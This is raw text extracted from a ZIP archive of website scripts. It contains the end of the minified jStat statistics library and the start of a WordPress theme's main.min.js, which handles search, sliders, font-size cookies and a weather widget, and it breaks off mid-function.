anovafscore=jStat.anovafscore(args);df1=args.length-1;n=0;for(i=0;i<args.length;i++){n=n+args[i].length}df2=n-df1-1;return 1-jStat.centralF.cdf(anovafscore,df1,df2)},ftest:function ftest(fscore,df1,df2){return 1-jStat.centralF.cdf(fscore,df1,df2)}});jStat.extend(jStat.fn,{anovafscore:function anovafscore(){return jStat.anovafscore(this.toArray())},anovaftes:function anovaftes(){var n=0;var i;for(i=0;i<this.length;i++){n=n+this[i].length}return jStat.ftest(this.anovafscore(),this.length-1,n-this.length)}});jStat.extend({qscore:function qscore(){var args=slice.call(arguments);var mean1,mean2,n1,n2,sd;if(isNumber(args[0])){mean1=args[0];mean2=args[1];n1=args[2];n2=args[3];sd=args[4]}else{mean1=jStat.mean(args[0]);mean2=jStat.mean(args[1]);n1=args[0].length;n2=args[1].length;sd=args[2]}return Math.abs(mean1-mean2)/(sd*Math.sqrt((1/n1+1/n2)/2))},qtest:function qtest(){var args=slice.call(arguments);var qscore;if(args.length===3){qscore=args[0];args=args.slice(1)}else if(args.length===7){qscore=jStat.qscore(args[0],args[1],args[2],args[3],args[4]);args=args.slice(5)}else{qscore=jStat.qscore(args[0],args[1],args[2]);args=args.slice(3)}var n=args[0];var k=args[1];return 1-jStat.tukey.cdf(qscore,k,n-k)},tukeyhsd:function tukeyhsd(arrays){var sd=jStat.pooledstdev(arrays);var means=arrays.map(function(arr){return jStat.mean(arr)});var n=arrays.reduce(function(n,arr){return n+arr.length},0);var results=[];for(var i=0;i<arrays.length;++i){for(var j=i+1;j<arrays.length;++j){var p=jStat.qtest(means[i],means[j],arrays[i].length,arrays[j].length,sd,n,arrays.length);results.push([[i,j],p])}}return results}});jStat.extend({normalci:function normalci(){var args=slice.call(arguments),ans=new Array(2),change;if(args.length===4){change=Math.abs(jStat.normal.inv(args[1]/2,0,1)*args[2]/Math.sqrt(args[3]))}else{change=Math.abs(jStat.normal.inv(args[1]/2,0,1)*jStat.stdev(args[2])/Math.sqrt(args[2].length))}ans[0]=args[0]-change;ans[1]=args[0]+change;return ans},tci:function tci(){var args=slice.call(arguments),ans=new Array(2),change;if(args.length===4){change=Math.abs(jStat.studentt.inv(args[1]/2,args[3]-1)*args[2]/Math.sqrt(args[3]))}else{change=Math.abs(jStat.studentt.inv(args[1]/2,args[2].length-1)*jStat.stdev(args[2],true)/Math.sqrt(args[2].length))}ans[0]=args[0]-change;ans[1]=args[0]+change;return ans},significant:function significant(pvalue,alpha){return pvalue<alpha}});jStat.extend(jStat.fn,{normalci:function normalci(value,alpha){return jStat.normalci(value,alpha,this.toArray())},tci:function tci(value,alpha){return jStat.tci(value,alpha,this.toArray())}});function differenceOfProportions(p1,n1,p2,n2){if(p1>1||p2>1||p1<=0||p2<=0){throw new Error("Proportions should be greater than 0 and less than 1")}var pooled=(p1*n1+p2*n2)/(n1+n2);var se=Math.sqrt(pooled*(1-pooled)*(1/n1+1/n2));return(p1-p2)/se}jStat.extend(jStat.fn,{oneSidedDifferenceOfProportions:function oneSidedDifferenceOfProportions(p1,n1,p2,n2){var z=differenceOfProportions(p1,n1,p2,n2);return jStat.ztest(z,1)},twoSidedDifferenceOfProportions:function twoSidedDifferenceOfProportions(p1,n1,p2,n2){var z=differenceOfProportions(p1,n1,p2,n2);return jStat.ztest(z,2)}})})(jStat,Math);jStat.models=function(){function sub_regress(exog){var var_count=exog[0].length;var modelList=jStat.arange(var_count).map(function(endog_index){var exog_index=jStat.arange(var_count).filter(function(i){return i!==endog_index});return ols(jStat.col(exog,endog_index).map(function(x){return x[0]}),jStat.col(exog,exog_index))});return modelList}function ols(endog,exog){var nobs=endog.length;var df_model=exog[0].length-1;var df_resid=nobs-df_model-1;var coef=jStat.lstsq(exog,endog);var predict=jStat.multiply(exog,coef.map(function(x){return[x]})).map(function(p){return p[0]});var resid=jStat.subtract(endog,predict);var ybar=jStat.mean(endog);var SSE=jStat.sum(predict.map(function(f){return Math.pow(f-ybar,2)}));var SSR=jStat.sum(endog.map(function(y,i){return Math.pow(y-predict[i],2)}));var SST=SSE+SSR;var R2=SSE/SST;return{exog:exog,endog:endog,nobs:nobs,df_model:df_model,df_resid:df_resid,coef:coef,predict:predict,resid:resid,ybar:ybar,SST:SST,SSE:SSE,SSR:SSR,R2:R2}}function t_test(model){var subModelList=sub_regress(model.exog);var sigmaHat=Math.sqrt(model.SSR/model.df_resid);var seBetaHat=subModelList.map(function(mod){var SST=mod.SST;var R2=mod.R2;return sigmaHat/Math.sqrt(SST*(1-R2))});var tStatistic=model.coef.map(function(coef,i){return(coef-0)/seBetaHat[i]});var pValue=tStatistic.map(function(t){var leftppf=jStat.studentt.cdf(t,model.df_resid);return(leftppf>.5?1-leftppf:leftppf)*2});var c=jStat.studentt.inv(.975,model.df_resid);var interval95=model.coef.map(function(coef,i){var d=c*seBetaHat[i];return[coef-d,coef+d]});return{se:seBetaHat,t:tStatistic,p:pValue,sigmaHat:sigmaHat,interval95:interval95}}function F_test(model){var F_statistic=model.R2/model.df_model/((1-model.R2)/model.df_resid);var fcdf=function(x,n1,n2){return jStat.beta.cdf(x/(n2/n1+x),n1/2,n2/2)};var pvalue=1-fcdf(F_statistic,model.df_model,model.df_resid);return{F_statistic:F_statistic,pvalue:pvalue}}function ols_wrap(endog,exog){var model=ols(endog,exog);var ttest=t_test(model);var ftest=F_test(model);var adjust_R2=1-(1-model.R2)*((model.nobs-1)/model.df_resid);model.t=ttest;model.f=ftest;model.adjust_R2=adjust_R2;return model}return{ols:ols_wrap}}();jStat.extend({buildxmatrix:function buildxmatrix(){var matrixRows=new Array(arguments.length);for(var i=0;i<arguments.length;i++){var array=[1];matrixRows[i]=array.concat(arguments[i])}return jStat(matrixRows)},builddxmatrix:function builddxmatrix(){var matrixRows=new Array(arguments[0].length);for(var i=0;i<arguments[0].length;i++){var array=[1];matrixRows[i]=array.concat(arguments[0][i])}return jStat(matrixRows)},buildjxmatrix:function buildjxmatrix(jMat){var pass=new Array(jMat.length);for(var i=0;i<jMat.length;i++){pass[i]=jMat[i]}return jStat.builddxmatrix(pass)},buildymatrix:function buildymatrix(array){return jStat(array).transpose()},buildjymatrix:function buildjymatrix(jMat){return jMat.transpose()},matrixmult:function matrixmult(A,B){var i,j,k,result,sum;if(A.cols()==B.rows()){if(B.rows()>1){result=[];for(i=0;i<A.rows();i++){result[i]=[];for(j=0;j<B.cols();j++){sum=0;for(k=0;k<A.cols();k++){sum+=A.toArray()[i][k]*B.toArray()[k][j]}result[i][j]=sum}}return jStat(result)}result=[];for(i=0;i<A.rows();i++){result[i]=[];for(j=0;j<B.cols();j++){sum=0;for(k=0;k<A.cols();k++){sum+=A.toArray()[i][k]*B.toArray()[j]}result[i][j]=sum}}return jStat(result)}},regress:function regress(jMatX,jMatY){var innerinv=jStat.xtranspxinv(jMatX);var xtransp=jMatX.transpose();var next=jStat.matrixmult(jStat(innerinv),xtransp);return jStat.matrixmult(next,jMatY)},regresst:function regresst(jMatX,jMatY,sides){var beta=jStat.regress(jMatX,jMatY);var compile={};compile.anova={};var jMatYBar=jStat.jMatYBar(jMatX,beta);compile.yBar=jMatYBar;var yAverage=jMatY.mean();compile.anova.residuals=jStat.residuals(jMatY,jMatYBar);compile.anova.ssr=jStat.ssr(jMatYBar,yAverage);compile.anova.msr=compile.anova.ssr/(jMatX[0].length-1);compile.anova.sse=jStat.sse(jMatY,jMatYBar);compile.anova.mse=compile.anova.sse/(jMatY.length-(jMatX[0].length-1)-1);compile.anova.sst=jStat.sst(jMatY,yAverage);compile.anova.mst=compile.anova.sst/(jMatY.length-1);compile.anova.r2=1-compile.anova.sse/compile.anova.sst;if(compile.anova.r2<0)compile.anova.r2=0;compile.anova.fratio=compile.anova.msr/compile.anova.mse;compile.anova.pvalue=jStat.anovaftest(compile.anova.fratio,jMatX[0].length-1,jMatY.length-(jMatX[0].length-1)-1);compile.anova.rmse=Math.sqrt(compile.anova.mse);compile.anova.r2adj=1-compile.anova.mse/compile.anova.mst;if(compile.anova.r2adj<0)compile.anova.r2adj=0;compile.stats=new Array(jMatX[0].length);var covar=jStat.xtranspxinv(jMatX);var sds,ts,ps;for(var i=0;i<beta.length;i++){sds=Math.sqrt(compile.anova.mse*Math.abs(covar[i][i]));ts=Math.abs(beta[i]/sds);ps=jStat.ttest(ts,jMatY.length-jMatX[0].length-1,sides);compile.stats[i]=[beta[i],sds,ts,ps]}compile.regress=beta;return compile},xtranspx:function xtranspx(jMatX){return jStat.matrixmult(jMatX.transpose(),jMatX)},xtranspxinv:function xtranspxinv(jMatX){var inner=jStat.matrixmult(jMatX.transpose(),jMatX);var innerinv=jStat.inv(inner);return innerinv},jMatYBar:function jMatYBar(jMatX,beta){var yBar=jStat.matrixmult(jMatX,beta);return new jStat(yBar)},residuals:function residuals(jMatY,jMatYBar){return jStat.matrixsubtract(jMatY,jMatYBar)},ssr:function ssr(jMatYBar,yAverage){var ssr=0;for(var i=0;i<jMatYBar.length;i++){ssr+=Math.pow(jMatYBar[i]-yAverage,2)}return ssr},sse:function sse(jMatY,jMatYBar){var sse=0;for(var i=0;i<jMatY.length;i++){sse+=Math.pow(jMatY[i]-jMatYBar[i],2)}return sse},sst:function sst(jMatY,yAverage){var sst=0;for(var i=0;i<jMatY.length;i++){sst+=Math.pow(jMatY[i]-yAverage,2)}return sst},matrixsubtract:function matrixsubtract(A,B){var ans=new Array(A.length);for(var i=0;i<A.length;i++){ans[i]=new Array(A[i].length);for(var j=0;j<A[i].length;j++){ans[i][j]=A[i][j]-B[i][j]}}return jStat(ans)}});jStat.jStat=jStat;return jStat});
PK     N\_&      js/main.min.jsnu [        (function(e,a){var t,i=e.jQuery||e.Cowboy||(e.Cowboy={});i.throttle=t=function(e,t,n,o){function s(){function i(){l=+new Date,n.apply(d,p)}function s(){r=a}var d=this,c=+new Date-l,p=arguments;o&&!r&&i(),r&&clearTimeout(r),o===a&&c>e?i():!0!==t&&(r=setTimeout(o?s:i,o===a?e-c:e))}var r,l=0;return"boolean"!=typeof t&&(o=n,n=t,t=a),i.guid&&(s.guid=n.guid=n.guid||i.guid++),s},i.debounce=function(e,i,n){return n===a?t(e,i,!1):t(e,n,!1!==i)}})(this),function(e){"use strict";var a=a||{};a.general=function(){e(".pcheader-icon a.search-click").on("click",function(a){var t=e(this),i=e("body"),n=t.closest(".container");e("body").find(".search-input").removeClass("active"),n.find(".search-input").toggleClass("active"),i.find(".header-search-style-overlay").length||i.find(".header-search-style-showup").length||i.find(".header-search-style-popup").length?n.find(".show-search").toggleClass("active"):t.next().fadeToggle();var o=setTimeout(function(){var e=document.querySelector(".search-input.active");null!==e&&e.focus({preventScroll:!0})},200,function(){clearTimeout(o)});return i.addClass("search-open"),a.preventDefault(),a.stopPropagation(),!1}),e(".pcheader-icon .close-search, .pc-search-popup-overlay").on("click",function(a){return e("body").find(".header-search-style-overlay").length||e("body").find(".header-search-style-popup").length||e("body").find(".header-search-style-showup").length?e("body").find(".show-search").each(function(){e(this).removeClass("active")}):e(this).closest(".show-search").fadeToggle(),e("body").removeClass("search-open"),e("body").find(".search-input").each(function(){e(this).removeClass("active")}),!1}),e(document).keyup(function(a){var t=e("body");return"Escape"===a.key&&(t.hasClass("pchds-overlay")||t.hasClass("pchds-popup"))&&t.hasClass("search-open")&&(t.removeClass("search-open"),e("body").find(".header-search-style-overlay").length||e("body").find(".header-search-style-popup").length||e("body").find(".header-search-style-showup").length?e("body").find(".show-search").each(function(){e(this).removeClass("active")}):e("body").find(".show-search").fadeToggle(),e("body").find(".search-input, .show-search").each(function(){e(this).removeClass("active")})),!1}),e(".go-to-top, .penci-go-to-top-floating").on("click",function(){return e("html, body").animate({scrollTop:0},700),!1});var a=e(".penci-go-to-top-floating");return a.length&&e(document).on("scroll",e.debounce(200,function(){var t=e(this).scrollTop();t>300?(a.addClass("show-up"),e("body").addClass("penci-gtt-enable")):(a.removeClass("show-up"),e("body").removeClass("penci-gtt-enable"))})),e("body.buddypress .activity .load-more a").on("click",function(){e(document).ajaxStop(function(){e(".container").fitVids({ignore:".penci-sticky-video"})})}),document.addEventListener("DOMContentLoaded",function(){document.querySelectorAll(".menu-item-has-anchor").forEach(function(a){const t=-120,i=a.querySelector("a");if(!i)return;const n=i.getAttribute("href");if(!n||!n.startsWith("#"))return;const o=document.querySelector(n);o?i.addEventListener("click",function(a){a.preventDefault(),e("body").removeClass("open-sidebar-nav penci-menuhbg-open open-mobile-builder-sidebar-nav");const i=o.getBoundingClientRect().top+window.pageYOffset;console.log("Scrolling to:",i),window.scrollTo({top:i+t,behavior:"smooth"})}):console.error("Target element not found for:",n)})}),e(".penci-arfilter-item").on("change",function(a){var t=e(this).closest("form");t.submit()}),e(document).on("click",".pcauthor-tabs",function(a){if(a.preventDefault(),!e(this).hasClass("active")){var t=e(this).attr("data-tab"),i=e(this).closest(".post-author");i.find(".author-tab-content").removeClass("active"),i.find(".pcauthor-tabs").removeClass("active"),i.find("#"+t).addClass("active"),e(this).addClass("active")}}),e(document).on("click",".penci-category-description-button a",function(a){a.preventDefault(),e(this).closest(".penci-category-description").toggleClass("active")}),e(document).on("click",".penci-wuser-gps",function(a){a.preventDefault();var t=e(this),i=t.closest(".penci-weather-widget"),n=i.attr("data-id"),o=i.attr("data-forecast_days"),s=i.attr("data-units");i.addClass("loading"),e.ajax({type:"GET",url:ajax_var_more.url,data:{action:"penci_get_weather_loc",id:n,forecast_days:o,units:s},success:function(a){var t=a.data.html,n=e(t).html();i.html(n),i.removeClass("loading")}})}),e(document).on("click",".pc-comment-s1-button a",function(a){a.preventDefault(),e(".pc-comment-s1").toggleClass("active")}),e(document).on("click",".new-ver-share.post-share-link",function(a){a.preventDefault();var t=e(this).attr("href");navigator.clipboard.writeText(t)}),e(document).on("click",".penci_cmrm",function(a){a.preventDefault(),e(this).closest(".comment-text").addClass("showfull"),e(this).remove()}),e(document).on("click",".penci-mtp-filters-mobile",function(a){a.preventDefault(),e(this).addClass("active"),e(".penci-mtp-filters-main").addClass("active"),e(".penci-mtp-filters-close").addClass("active")}),e(document).on("click",".penci-mtp-filters-close",function(a){a.preventDefault(),e(this).removeClass("active"),e(".penci-mtp-filters-mobile").removeClass("active"),e(".penci-mtp-filters-main").removeClass("active")}),e(document).on("click",".penci-post-share-box-btn",function(a){a.preventDefault();var t=e(this).closest(".list-post-3");t.find(".penci-post-box-meta").toggleClass("active")}),e(document).on("click",".penci-bmca",function(a){a.preventDefault();var t=e(this).closest(".penci-sg-cth");t.addClass("show-full"),e(this).remove()}),e(document).on("click tap",".item-content",function(){var a=e(this).attr("data-excerpt-link");a&&(window.location.href=a)}),e(".menu-item-has-children, .penci-mega-menu").on("mouseenter",function(){e("body").hasClass("penci-hsubmenu-overlay")&&e("body").addClass("menu-hover")}),e(".menu-item-has-children, .penci-mega-menu").on("mouseleave",function(){e("body").hasClass("penci-hsubmenu-overlay")&&e("body").removeClass("menu-hover")}),!1},a.rdatetime=function(){function e(e,a,t="en-US"){const i={d:("0"+e.getDate()).slice(-2),D:e.toLocaleDateString(t,{weekday:"short"}),j:e.getDate(),l:e.toLocaleDateString(t,{weekday:"long"}),F:e.toLocaleDateString(t,{month:"long"}),m:("0"+(e.getMonth()+1)).slice(-2),M:e.toLocaleDateString(t,{month:"short"}),n:e.getMonth()+1,Y:e.getFullYear(),y:(""+e.getFullYear()).slice(-2),H:("0"+e.getHours()).slice(-2),h:("0"+(e.getHours()%12||12)).slice(-2),i:("0"+e.getMinutes()).slice(-2),s:("0"+e.getSeconds()).slice(-2),a:e.getHours()<12?"am":"pm",A:e.getHours()<12?"AM":"PM"};return a.replace(/[a-zA-Z]/g,function(e){return void 0!==i[e]?i[e]:e})}function a(){const a=document.documentElement.lang||"en-US",t=document.querySelectorAll(".penci-dtf-real");t.forEach(t=>{const i=t.getAttribute("data-format"),n=new Date,o=e(n,i,a);t.textContent=o})}a()},a.videofloat=function(){e("body.single .post").each(function(a){var t=e(this),i=t.find(".post-image"),n=i.height(),o=i.find("iframe");if(o.length&&ajax_var_more.vfloat){i.addClass(ajax_var_more.vfloatp);var s=n+i.offset().top;e(document).on("scroll",function(){if(!i.hasClass("disable-sticky")){var a=e(this).scrollTop();a>s?(i.addClass("stick-video-enable"),0==i.find(".stick-video-enable-remove").length&&i.append('<span class="stick-video-enable-remove"><i class="penciicon-close-button"></i></span>'),t.hasClass("penci-apply-padding")||t.addClass("penci-apply-padding").css("padding-top",n)):(i.removeClass("stick-video-enable"),i.find(".stick-video-enable-remove").remove(),t.removeClass("penci-apply-padding"),t.css("padding-top",0))}})}}),e(document).on("click",".stick-video-enable-remove",function(a){a.preventDefault();var t=e(this).closest(".post-image");t.find(".stick-video-enable-remove").remove(),t.removeClass("stick-video-enable").addClass("disable-sticky")}),e(document).on("mouseenter",".penci-preview-thumb",function(){var a=e(this),t=a.outerWidth(),i=a.outerHeight(),n=16*a.outerHeight()/9,o=a.outerHeight(),s=e(this).attr("data-type"),r=e(this).attr("data-url");n<t&&(n=t,o=i),a.addClass("active"),0==a.find("video").length&&"self"==s&&a.append('<video src="'+r+'" loop muted></video>'),0==a.find("iframe").length&&"self"!==s&&(a.append('<div class="penci-preview-iframe"><iframe src="'+r+'" frameborder="0"></iframe></div>'),e(this).find("iframe").width(n).height(o).fadeIn()),0!==e(this).find("video").length&&(e(this).find("video").fadeIn(),e(this).find("video")[0].play()),0!==e(this).find("iframe").length&&e(this).find("iframe").fadeIn()}).on("mouseleave",".penci-preview-thumb",function(){0!==e(this).find("video").length&&(e(this).find("video")[0].pause(),e(this).find("video").fadeOut()),0!==e(this).find("iframe").length&&e(this).find("iframe").fadeOut(),e(this).removeClass("active")})},a.fontsizeChanger=function(){if(e(".penci-font-changer").length){var a=Cookies.get("penci-font-changer")?Cookies.get("penci-font-changer"):1,t=e(".penci-font-changer"),i=e("#main").width();e("body").hasClass("elementor-default")&&(i=e("article.post").width()),t.attr("data-size",a);var n=function(a=null){var n=parseFloat(t.attr("data-size"));n=a?parseFloat(a):n,n=n>1.5?n=1.5:n<-1.5?n=-1.5:n,e(".entry-content").css({transform:"scale("+n+")","transform-origin":"0 0 0",overflow:"hidden",width:parseInt(i/n)+"px"}),e("body").hasClass("rtl")&&e(".entry-content").css({"transform-origin":"100% 0"}),e(".entry-content p,.entry-content iframe,.entry-content audio,.entry-content div,.entry-content ol, .entry-content ul, .entry-content blockquote, .entry-content h1, .entry-content h1, .entry-content h2, .entry-content h3, .entry-content h4, .entry-content h5, .entry-content h6").css({"max-width":parseInt(i/n)+"px"}),e(".entry-content .penci-toc-container-wrapper").length&&e(".penci-toc-container-wrapper, .penci-toc-container-wrapper div, .penci-toc-container-wrapper ul, .penci-toc-container-wrapper span, .penci-toc-container-wrapper p").css({"max-width":""}),e(".penci-single-block").each(function(a){if(!e(this).hasClass("pcapply_fs")){e(this).addClass("pcapply_fs");var t=e(this).find(".entry-content"),i=e(this).find(".post-entry"),n=t[0].getBoundingClientRect().height;i.css({height:n+"px",transform:"none"})}})};if(n(),e.isFunction(e.fn.jRange)){var o=Cookies.get("penci-font-changer")?Cookies.get("penci-font-changer"):"1";e(".penci-font-changer-slider").each(function(){e(this).jRange({from:.5,to:1.5,step:.1,scale:[.5,0,1,1.5],format:"%s",width:120,showLabels:!1,showScale:!1,snap:!0,theme:"penci-fs-slider",onstatechange:function(e){n(e),Cookies.set("penci-font-changer",e)}}),e(this).jRange("setValue",o)})}e("body").on("single_loaded_more",function(a){if(n(),e.isFunction(e.fn.jRange)){var t=Cookies.get("penci-font-changer")?Cookies.get("penci-font-changer"):"1";e(".penci-font-changer-slider").each(function(){e(this).jRange({from:.5,to:1.5,step:.1,scale:[.5,0,1,1.5],format:"%s",width:120,showLabels:!1,showScale:!1,snap:!0,theme:"penci-fs-slider",onstatechange:function(e){n(e),Cookies.set("penci-font-changer",e)}}),e(this).jRange("setValue",t)})}}),e(document).on("click",".penci-font-changer-reset",function(a){a.preventDefault(),e(".penci-font-changer-slider").jRange("setValue","1"),Cookies.set("penci-font-changer",1)}),e(document).on("click",".penci-font-changer-btn",function(a){a.preventDefault(),e(this).closest(".penci-font-changer-popup").addClass("active")}),e(document).on("click",function(a){var t=e(".penci-font-changer-popup");t.is(a.target)||0!==t.has(a.target).length||t.removeClass("active")})}},a.blockheadinglist=function(){e(".pcnav-lgroup").each(function(){var a,t=e(this),i=e(this).closest(".penci-homepage-title"),n=i.width(),o=t.find("ul.pcflx"),s=i.find(".inner-arrow span").width(),r=i.find(".pcflx-nav").length?i.find(".pcflx-nav").width():0,l=i.find(".pcbh-extrabtn").length?i.find(".pcbh-extrabtn").width():0,d=0,c=e('<li class="more"><a class="more-click" href="#"><i class="fa fa-ellipsis-v"></i></a><ul class="pcflx-sub"></ul></li>'),p=n-s-r;i.hasClass("pcalign-center")&&(p=n/2-s/2-30),(i.hasClass("pciconp-left")||i.hasClass("pciconp-right"))&&(p-=36),t.css("width",p),i.css("--extrabtn",l+"px"),a=o.find(".pcflx-sub").html(),o.find(".more").remove(),o.append(a),o.find("li").each(function(){d+=e(this).outerWidth(),d>p-60&&e(c).find(".pcflx-sub").append(e(this))}),e(c).find(".pcflx-sub li").length&&o.append(c),i.parent().addClass("pc-flexmnld"),t.addClass("loaded")}),e(document).on("click",".pcnav-lgroup .more-click",function(e){e.preventDefault()}),e(".pcnav-lgroup a").on("click",function(){var a=e(this),t=a.closest(".pcnav-lgroup");a.hasClass("pcaj-nav-link")||(t.find("a").removeClass("clactive"),a.addClass("clactive"))})},a.shareexpand=function(){e(".tags-share-box").length&&e(".tags-share-box").each(function(){var a=e(this);if(a.hasClass("disable-btnplus"))a.css("opacity","1");else if(a.length){var t,i=0,n=!1,o=a.width(),s=a.find(".post-share-expand").outerWidth();a.find(".penci-social-share-text").length&&(o-=a.find(".penci-social-share-text").outerWidth(!0)),a.find(".post-share-plike").length&&(o-=a.find(".post-share-plike").outerWidth(!0)),a.find(".new-ver-share").length&&(t=a.find(".new-ver-share").outerWidth(!0)-a.find(".new-ver-share").outerWidth()),a.find(".post-share-expand").removeClass("auto-hidden").removeClass("showing").removeClass("hidden"),a.find(".new-ver-share").each(function(){e(this).removeClass("auto-hidden").removeClass("show"),i+=e(this).outerWidth(!0),i>o+t?(e(this).addClass("auto-hidden").removeClass("show"),n=!0):e(this).removeClass("auto-hidden").addClass("show"),0}),n?(a.find(".post-share-expand").removeClass("auto-hidden").addClass("showing"),a.find(".new-ver-share.show").each(function(){s+=e(this).outerWidth(!0),s>=o-t&&e(this).addClass("auto-hidden").removeClass("show")})):a.find(".post-share-expand").addClass("hidden"),e(".post-share-item.post-share-expand").off().on("click",function(a){a.preventDefault();var t=e(this).closest(".post-share");t.find(".auto-hidden").toggleClass("active"),t.toggleClass("showing-hidden")}),a.css("opacity","1")}})},a.smoothlinkscroll=function(){e('a[href^="#"]').on("click",function(a){var t=this.hash,i=e(t);e("html, body").stop().animate({scrollTop:i.offset().top-70},900,"swing",function(){window.location.hash=t})})},a.cookie=function(){var a=".penci-wrap-gprd-law",t=e(a),i="penci-wrap-gprd-law-close",n="penci_law_footer_new";if(!t.length)return!1;var o={set:function(e,a){var t=new Date;t.setTime(t.getTime()+31536e6);var i="; expires="+t.toGMTString();document.cookie=e+"="+a+i+"; path=/"},read:function(e){for(var a=e+"=",t=document.cookie.split(";"),i=0;i<t.length;i++){for(var n=t[i];" "==n.charAt(0);)n=n.substring(1,n.length);if(0===n.indexOf(a))return n.substring(a.length,n.length)}return null},erase:function(e){this.set(e,"",-1)},exists:function(e){return null!==this.read(e)}};t.removeClass("penci-close-all"),!o.exists(n)||o.exists(n)&&1==o.read(n)?t.removeClass(i):t.addClass(i),e(".penci-gprd-accept, .penci-gdrd-show").on("click",function(t){t.preventDefault();var s=e(this),r=s.closest(a);return r.toggleClass(i),r.hasClass(i)?o.set(n,"2"):o.set(n,"1"),!1})},a.main_sticky=function(){if(e("nav#navigation").length&&e().pensticky&&!e("nav#navigation").hasClass("penci-disable-sticky-nav")){var a=0;e("body").hasClass("admin-bar")&&(a=32),e("nav#navigation").each(function(){e(this).pensticky({topSpacing:a})})}},a.featured_slider=function(){const a={};e(".featured-area .penci-owl-featured-area").each(function(){var t=e(this),i=t.data("style"),n=!1,o=t.data("autotime"),s=t.data("speed"),r=t.data("loop"),l=1,d=!1,c=1,p=1,f=1,u=1,h=0,m=ajax_var_more.fcarousel_e,v=ajax_var_more.fslider_e,g="fetured-swiper-"+Math.floor(-999998*Math.random()+1)+1;if(t.attr("data-id")&&(g=t.attr("data-id")),t.addClass(g),t.hasClass("no-df-swiper"))return;if(t.hasClass("penci-owl-loaded"))return;t.attr("data-ceffect")&&(m=t.attr("data-ceffect")),t.attr("data-seffect")&&(v=t.attr("data-seffect")),e("html").attr("dir"),"true"===t.attr("data-auto")&&(n=!0),t.attr("data-nav"),"true"===t.attr("data-dots")&&(d=!0,t.append('<div class="penci-owl-dots"></div>')),t.attr("data-item")&&(l=parseInt(t.data("item"))),t.attr("data-desktop")&&(c=parseInt(t.data("desktop"))),t.attr("data-tablet")&&(p=parseInt(t.data("tablet"))),t.attr("data-tabsmall")&&(f=parseInt(t.data("tabsmall"))),t.attr("data-mobile")&&(u=parseInt(t.data("mobile"))),t.attr("data-slideby")&&parseInt(t.data("slideby")),l>1&&t.addClass("swiper-multi-items");let y=0,b=e(this),C=!1;var w=.5;"style-2"===i?(h=10,r=!0):"style-28"===i?c=l=6:"style-38"===i?(h=5,c=l=5):"style-43"===i&&(h=0);var _={loop:r,autoplay:n,spaceBetween:h,slidesPerView:l,speed:s,slideActiveClass:"active",watchSlidesProgress:!0,navigation:{nextEl:"."+g+" .owl-next",prevEl:"."+g+" .owl-prev"},on:{init:function(){t.addClass("penci-owl-loaded")},afterInit:function(){t.addClass("penci-featured-loaded")},setTransition:function(e,a){if(e.slides)for(var t=0;t<e.slides.length;t++)null!==e.slides[t].querySelector(".slide-inner")&&"creative"==v&&(e.slides[t].style.transition=a+"ms",e.slides[t].querySelector(".slide-inner").style.transition=a+"ms"),null!==e.slides[t].querySelector(".penci-swiper-mask")&&"creative"==v&&(e.slides[t].style.transition=a+"ms",e.slides[t].querySelector(".penci-swiper-mask").style.transition=a+"ms")},touchStart(...e){l>1&&(C=!0,b.on&&b.on.touchStart&&b.on.touchStart(...e));for(var a=this,t=0;t<a.slides.length;t++)null!==a.slides[t].querySelector(".slide-inner")&&"creative"==v&&(a.slides[t].style.transition=""),null!==a.slides[t].querySelector(".penci-swiper-mask")&&"creative"==v&&(a.slides[t].style.transition="")},touchEnd(...e){l>1&&(C=!1,b.on&&b.on.touchStart&&b.on.touchEnd(...e))},progress(e,a){if(!C){if(l>1&&"swing"==m){e.on&&e.on.progress&&e.on.progress(e,a);const t=e.progress>y?"next":"prev";y=e.progress;const i=e.params.speed/16,n=e.visibleSlidesIndexes?e.visibleSlidesIndexes:[],o=n[0],s=n[n.length-1],r=(e,a)=>{e.style.transitionDelay="next"===t&&a>=o?`${(a-o+1)*i}ms`:"prev"===t&&a<=s+1?`${(s-a+1)*i}ms`:"0ms"};e.slides.forEach((a,t)=>{e.animating?(a.style.transitionDelay="0ms",requestAnimationFrame(()=>{r(a,t)})):r(a,t)})}for(var t=this,i=0;i<t.slides.length;i++){var n=t.slides[i].progress,o=t.width*w,s=n*o;null!==t.slides[i].querySelector(".slide-inner")&&"creative"==v&&(t.slides[i].querySelector(".slide-inner").style.transform="translate3d("+s+"px, 0, 0)"),null!==t.slides[i].querySelector(".penci-swiper-mask")&&"creative"==v&&(t.slides[i].querySelector(".penci-swiper-mask").style.transform="translate3d("+s+"px, 0, 0)")}}}}};t.attr("data-slidespg")&&(_.slidesPerGroup=t.attr("data-slidespg")),n&&(_.autoplay={delay:o,disableOnInteraction:!1,pauseOnMouseEnter:!0}),"style-2"!==i&&"style-38"!==i||(_.centeredSlides=!0,_.loop=!0,_.slidesPerView="auto"),"style-43"===i&&(_.centeredSlides=!0,_.loop=!0),t.find(".swiper-mark-item").length&&(_.parallax=!0),"style-2"===i&&(_.loopAddBlankSlides=!0,_.watchSlidesProgress=!1,_.centerInsufficientSlides=!0),"style-38"===i&&(_.loopAddBlankSlides=!0,_.watchSlidesProgress=!1,_.centerInsufficientSlides=!0),d&&(_.pagination={el:"."+g+" .penci-owl-dots",type:"bullets",bulletElement:"div",clickable:!0,bulletClass:"penci-owl-dot",bulletActiveClass:"active",renderBullet:function(e,a){return'<div class="'+a+'"><span></span></div>'}}),1==l&&"style-38"!==i&&(_.effect="creative"===v?"slide":v),"style-28"!=i&&"style-2"!=i&&"style-38"!=i||(_.effect="side",_.slidesPerView="auto"),"fade"==_.effect&&(_.fadeEffect={crossFade:!0}),"swing"==m&&l>1&&(_.speed=s,_.loop=!1,"style-38"!==i&&(_.rewind=!0),_.effect="creative",_.followFinger=!1,_.creativeEffect={limitProgress:100,prev:{translate:["-100%",0,0]},next:{translate:["100%",0,0]}}),"auto"!==_.slidesPerView&&(_.breakpoints={0:{slidesPerView:u},480:{slidesPerView:f},768:{slidesPerView:p},1170:{slidesPerView:c}}),a[g]=new Swiper("."+g,_),a[g].update(),t.attr("data-slideTo")?a[g].slideTo(t.attr("data-slideTo"),0):"style-38"==i?a[g].slideTo(4,0):"style-2"==i?a[g].slideTo(4,0):"style-43"==i&&a[g].slideTo(2,0),e("body").hasClass("rtl")&&a[g].changeLanguageDirection("ltr")})},a.owl_slider=function(){const a={};e(".penci-owl-carousel-slider").each(function(){var 